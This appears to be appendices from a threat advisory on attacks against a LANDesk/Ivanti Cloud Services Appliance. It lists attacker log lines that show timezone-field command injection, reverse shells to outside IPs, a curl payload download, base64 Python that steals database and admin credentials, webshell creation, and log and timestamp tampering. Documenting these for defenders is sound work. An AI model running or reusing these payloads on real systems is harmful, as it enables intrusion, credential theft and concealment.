{ Sep  6 03:03:44 REDACTED gsb[11427]: /etc/php.ini rewritten with new timezone: ';bash /tmp/Xa27efd2.tmp;' (1) }

{ Sep  8 05:18:35 REDACTED gsb[5132]: /etc/php.ini rewritten with new timezone: ';/sbin/backuptool --backup;' (1) }

{ Sep  8 05:19:34 REDACTED gsb[5325]: /etc/php.ini rewritten with new timezone: ';/usr/bin/echo  import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP')    | /usr/bin/base64 -d | python;' (1) }

{ Sep  8 10:37:35 REDACTED gsb[6196]: /etc/php.ini rewritten with new timezone: ';nc REDACTED 80 -ssl -e /bin/bash;' (1) }

{ Sep  8 10:40:38 REDACTED gsb[8758]: /etc/php.ini rewritten with new timezone: ';curl https://gggg.oyr2ohrm.eyes.sh /;' (1) }

{ Sep  8 10:41:35 REDACTED gsb[7475]: /etc/php.ini rewritten with new timezone: ';curl 98.98.54.209/a.sh -o /dev/shm/a.sh ;' (1) }

{ Sep  8 13:10:37 REDACTED gsb[22555]: /etc/php.ini rewritten with new timezone: ';nc REDACTED 80 --ssl -e /bin/bash;' (1) }

{ Sep  8 13:21:06 REDACTED gsb[24954]: /etc/php.ini rewritten with new timezone: ';nc REDACTED 80 --ssl -e /bin/bash;' (1) }

{ Sep  8 20:23:14 REDACTED gsb[1899]: /etc/php.ini rewritten with new timezone: ';export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo  "update user_info set organization='||/usr/bin/echo import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP')    | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;' (1) }

{ Sep 10 04:36:30 REDACTED gsb[16012]: /etc/php.ini rewritten with new timezone: ';/usr/bin/echo  python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.33.101.53 ",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'== | /usr/bin/base64 -d | /bin/bash;' (1) }

{ Sep 10 11:48:32 csa gsb[6829]: /etc/php.ini rewritten with new timezone: ';/bin/ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("156.234.193.18",44345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);';' (1) }

{ Sep 10 05:33:42 REDACTED gsb[17292]: /etc/php.ini rewritten with new timezone: ';/usr/bin/echo  import os, re, time os.chdir("/tmp") d = "/backups/backup-09-01-2024_010101.tar.gz" with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if os.path.exists(d):   os.system("tar zxf {}".format(d))   pwd = os.popen("export PGPASSWORD={};echo SELECT username,passwd FROM user_info | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().strip()   p = pwd.split(':')   k = os.popen("cat root/.certs/{}.0".format(p[1])).read().strip()   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (1, '{}', '1', '{}', '2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd, k[0:200], k[200:700]))   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (2, '{}', '2', '{}', '2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd, k[700:900], k[900:]))   os.system('''export PGPASSWORD={};echo "INSERT INTO blockedcerts (blockedcerts_idn, core, hash, description, created) VALUES (3, '{}', '3', '{}', '2024-03-13 05:10:16.926012')"|psql -d brokerdb -U gsbadmin'''.format(dbpwd, pwd[0:200], pwd[200:700]))   time.sleep(60)   os.system('''export PGPASSWORD={};echo "DELETE FROM blockedcerts"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))   os.system("rm -rdf *;rm -rf *")== | /usr/bin/base64 -d | python;' (1) }

Appendix B: Sudo Commands

See Table 14 for a list of known sudo commands executed by the threat actors.

Command	Use
sudo:  nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/opt/landesk/ldms/LDClient/ldpclient -i ;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo "update user_info set organization='||/usr/bin/echo aW1wb3J0IG9zLCByZSwgYmFzZTY0LCB0aW1lCm9zLmNoZGlyKCIvdG1wIikKZCA9ICIvYmFja3VwcyIKZGVmIHNldF9tc2cocCwgdD0nJywgbT0nJyk6CiAgICBpZiB0IGFuZCBtOgogICAgICAgIG1zZyA9ICdBQXt9Ont9QkInLmZvcm1hdCh0LCBiYXNlNjQuYjY0ZW5jb2RlKG0uZW5jb2RlKCkpLmRlY29kZSgpKQogICAgZWxzZToKICAgICAgICBtc2cgPSAnJwogICAgb3Muc3lzdGVtKCcnJ2V4cG9ydCBQR1BBU1NXT1JEPXt9O2VjaG8gInVwZGF0ZSB1c2VyX2luZm8gc2V0IG9yZ2FuaXphdGlvbj0ne30nIHdoZXJlIHVzZXJuYW1lPSdhZG1pbicifHBzcWwgLWQgYnJva2VyZGIgLVUgZ3NiYWRtaW4nJycuZm9ybWF0KHAsIG1zZykpCnRyeToKICAgIHIgPSBtYXgoW29zLnBhdGguam9pbihkLCBmKSBmb3IgZiBpbiBvcy5saXN0ZGlyKGQpIGlmIG9zLnBhdGguaXNmaWxlKG9zLnBhdGguam9pbihkLCBmKSldLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKZXhjZXB0OgogICAgciA9IE5vbmUKd2l0aCBvcGVuKCIvb3B0L2xhbmRlc2svYnJva2VyL2Jyb2tlci5jb25mIikgYXMgZjoKICAgIGRicHdkID0gcmUuZmluZGFsbCgiUEdTUUxfUFc9KC4qKSIsIGYucmVhZCgpKVswXQppZiByOgogICAgcCA9IG9zLnBvcGVuKCJleHBvcnQgUEdQQVNTV09SRD17fTtlY2hvIFNFTEVDVCBwYXNzd2QgRlJPTSB1c2VyX2luZm8gV0hFUkUgdXNlcm5hbWU9XFwnYWRtaW5cXCcgfCBwc3FsIC1kIGJyb2tlcmRiIC1VIGdzYmFkbWluIC1oIGxvY2FsaG9zdCIuZm9ybWF0KGRicHdkKSkucmVhZCgpLnNwbGl0KCJcbiIpWy00XS5zdHJpcCgpLnNwbGl0KCc6JykKICAgIG9zLnN5c3RlbSgidGFyIHp4dmYge30iLmZvcm1hdChyKSkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZm9yIGYgaW4gb3MubGlzdGRpcignLicpOgogICAgICAgICAgICBpZiByZS5tYXRjaCgicGhwXHd7Nn0iLCBmKToKICAgICAgICAgICAgICAgIG9zLmNobW9kKGYsIDBvNzc3KQogICAgICAgICAgICAgICAgbSA9IG9zLnBvcGVuKCIuL3t9IHt9IHt9IHt9IHJvb3QvLmNlcnRzL3t9LmtleSB7fSIuZm9ybWF0KGYsIHBbNF0sIHBbNV0sIHBbNl0sIHBbMV0sIHBbMV0pKS5yZWFkKCkuc3RyaXAoKQogICAgICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgICAgICBzZXRfbXNnKGRicHdkLCAiUEFTU1dPUkQiLCBtKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMjQwKQogICAgICAgICAgICAgICAgICAgIHNldF9tc2coZGJwd2QpCiAgICAgICAgICAgICAgICAgICAgZXhpdCgpCmVsc2U6CiAgICBzZXRfbXNnKGRicHdkLCAnRVJST1InLCAnTk8gQkFDS1VQJykKICAgIAogICAgCg== | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;	Updates the “organization” field of the “admin” account in the PGSQL database with python script decoded from base64.  The python script decompresses the latest backup of the PGSQL database and extracts the password for the gsbadmin account to access the database.
nobody : user NOT in sudoers ; TTY=unknown ; PWD=/usr/bin ; USER=root ; COMMAND=/sbin/setenforce 0	Temporarily disables SELinux.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo REDACTED_BASE64_PASSWORD | base64 >/opt/landesk/broker/webroot/gsb/site.cnf	Exfiltrates credentials and places them in a site.cnf webfile.
sudo: admin : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo PD9waHAgZXZhbCgkX1BPU1RbImNiNzg2OGM0NjA zNTQ4NTdiNzE5MjA0ZTI3NjZlZGJlIl0pOw== | base64 -d >/opt/landesk/broker/webroot/gsb/view.php	Creates a webshell at view.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/tripwire --update ;/usr/bin/echo ZWNobyAiPD9waHAgc3lzdGVtKCcvYmluL3N1ZG8gJy4Gq FwkX1JFUVVFU1RbJ2EnXSk7IiA+IC9vcHQvbGFuZGVzay9icm 9rZXIvd2Vicm9vdC9nc2IvaGVscC5waHA= | /usr/bin/base64 -d | /bin/bash;	Creates a webshell at help.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/setPhpTimeZone($TIMEZONE)/// setPhpTimeZone()/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Comments out the function setPhpTimeZone in DateTimeTab.php that logs the full exploit command.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/setSystemTimeZone( $TIMEZONE )/// setSystemTimeZone( $TIMEZONE )/g' /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Comments out the vulnerable function setSystemTimeZone in DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/GSB main page/GSB main pageneval($_POST["in39112cnnpkyc1os01q34gp6r60akgi"]);/g' /opt/landesk/broker/webroot/client/index.php	Adds a webshell into index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;sed -i 's/$canvas_height = 600;/$canvas_height = 600;nteval($_POST["in39112cnnpkyc1os01q34gp6r60akgi"]);/' /opt/landesk/broker/webroot/gsb/style.php	Adds a webshell into style.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/client/index.php	Timestomping attempt to change the access and modification of time of index.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/style.php	Timestomping attempt to change the access and modification time of style.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;touch -r /opt/landesk/broker/webroot/client/about.php /opt/landesk/broker/webroot/gsb/DateTimeTab.php	Timestomping attempt to change the access and modification time of DateTimeTab.php.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/help.php	Timestomping attempt to change the access and modification time of help.php
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /var/log/messages	Removes evidence.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/site.cnf	Removes site.cnf file (exfiltrated credentials).
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/client/client.php	Removes one of the original webshells.
sudo: gsbadmin : TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/sh -c cd /opt/landesk/broker/webroot/gsb/;rm /opt/landesk/broker/webroot/gsb/view.php	Removes one of the original webshells.